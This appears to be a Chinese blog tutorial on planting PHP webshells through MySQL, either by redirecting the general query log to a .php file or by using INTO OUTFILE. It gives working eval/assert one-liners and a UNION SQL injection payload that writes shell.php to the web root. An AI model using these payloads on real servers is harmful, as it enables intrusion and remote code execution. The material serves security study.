0
点赞
收藏
分享

微信扫一扫

MYSQL数据库写马讲解

凯约 2022-04-01 阅读 46

MYSQL数据库写马讲解

0x01 前言

  最近正好在上数据库的课程,比较详细地学习了数据库各个方面地知识。感觉解决了之前不少的疑惑,再吐槽一下(学校开数据库这门课开的太晚了!)
  下面进行分析与讲解数据库写入马的过程。

0x02 日志写🐎

众所周知我们所有的数据库的都有一个存放日志的文件,这个文件可以会进行记录数据库的操作语句,也可能不会记录数据库的操作语句,这却决于两个全局变量:

general_log==>日志保存状态,有两个状态,ON代表开启 OFF代表关闭。

general_log_file==> 日志的保存路径。

show global variables like "%general_log%"; 查看这两个日志文件相关的配置
在这里插入图片描述
D:\phpstudy_pro\Extensions\MySQL5.7.26\data\LAPTOP-R496QJ56.log
可以看到这里的日志记录状态是处于关闭状态,那么我们需要设置以下使这个选项打开。
SET GLOBAL general_log='ON'; 打开日志记录
在这里插入图片描述
set global general_log_file='D:\\phpstudy_pro\\WWW\\log.php'; 写马,这里需要注意的就是需要使用双斜线,然后还有就是日志文件必须是.php文件防止不能被解析
设置完毕之后就是代表着所有的执行语句都会记录到日志文件当中,不管执行成功与否。
select '<?php assert($_POST[sss]);?>'; 查询语句,其实就是写马,让日志文件众留下这样一句查询语句。那么可以使用这个木马了。
在这里插入图片描述


在这里插入图片描述
这种的写马方式就需要知道网站的绝对路径

0x03 into outfile写🐎

使用into outfile 把木马写到web目录需要有几个条件
1.就是secure_file_priv的取值

取值含义
为空可以写入磁盘的目录
D:\就可以写入D盘的文件
NULL表示不能写入磁盘文件

空和NULL不是一个概念的东西,大家不要误解而且这里的三个取值是不能通过SQL语句来进行修改,需要在配置文件中进行修改才行。
在这里插入图片描述
这里显示为NULL,所以不能写入文件
2.除了这个和上面的写马方式一样也需要知道网站的绝对路径。
select @@basedir; 查看SQL安装的绝对路径
在路径中的\用\或者/代替,因为\的话会消失一个
在这里插入图片描述
例子:

select '<?php eval($_POST["mohe"]);?>' into outfile "tmp/shell.php";

联合:

?id=1')) UNION SELECT 1,'<?php @eval($_POST["mohe"]);?>' into outfile "D:\\phpstudy_pro\\WWW\\shell.php" --+

堆叠:
能使用堆叠注入,那么后台一定是使用了mysqli_multi_query()的查询语句,能同时执行多条SQL语句,但是一般的后台用的都是mysql_query(),一次执行只能执行一条查询语句。

参考链接:MYSQL之日志写马

举报

相关推荐

0 条评论